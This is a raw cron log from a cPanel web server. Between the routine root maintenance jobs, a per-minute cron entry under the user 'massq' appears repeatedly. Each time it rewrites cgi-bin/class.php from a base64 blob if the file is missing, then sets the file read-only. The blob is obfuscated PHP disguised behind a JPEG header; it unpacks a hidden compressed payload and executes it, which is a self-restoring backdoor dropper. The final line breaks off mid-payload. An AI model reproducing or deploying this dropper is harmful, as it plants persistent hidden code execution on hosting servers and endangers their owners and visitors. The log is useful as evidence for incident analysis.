Sep  4 08:39:01 server CROND[25370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:39:01 server CROND[25371]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 08:39:01 server CROND[25373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:40:01 server CROND[25752]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 08:40:01 server CROND[25755]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 08:40:01 server CROND[25756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:40:01 server CROND[25757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:40:01 server CROND[25759]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 08:40:01 server CROND[25758]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 08:40:01 server CROND[25754]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 08:40:01 server CROND[25760]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:41:01 server CROND[26571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:41:01 server CROND[26572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:41:01 server CROND[26573]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:42:01 server CROND[27044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:42:01 server CROND[27045]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 08:42:01 server CROND[27047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:42:01 server CROND[27046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:43:01 server CROND[27451]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:43:01 server CROND[27452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:43:01 server CROND[27453]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:44:01 server CROND[27819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:44:01 server CROND[27821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:44:01 server CROND[27824]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:45:01 server CROND[28203]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 08:45:01 server CROND[28205]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 08:45:01 server CROND[28208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:45:01 server CROND[28206]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 08:45:01 server CROND[28209]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:45:01 server CROND[28211]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 08:45:01 server CROND[28207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:46:01 server CROND[29017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:46:01 server CROND[29018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:46:01 server CROND[29019]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:47:01 server CROND[29478]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:47:01 server CROND[29479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:47:01 server CROND[29480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:48:01 server CROND[29861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:48:01 server CROND[29862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:48:01 server CROND[29863]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:49:01 server CROND[30241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:49:01 server CROND[30242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:49:01 server CROND[30243]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:50:01 server CROND[30634]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 08:50:01 server CROND[30638]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 08:50:01 server CROND[30639]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 08:50:01 server CROND[30649]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 08:50:01 server CROND[30651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:50:01 server CROND[30652]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 08:50:01 server CROND[30654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:50:01 server CROND[30653]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 08:50:01 server CROND[30655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aI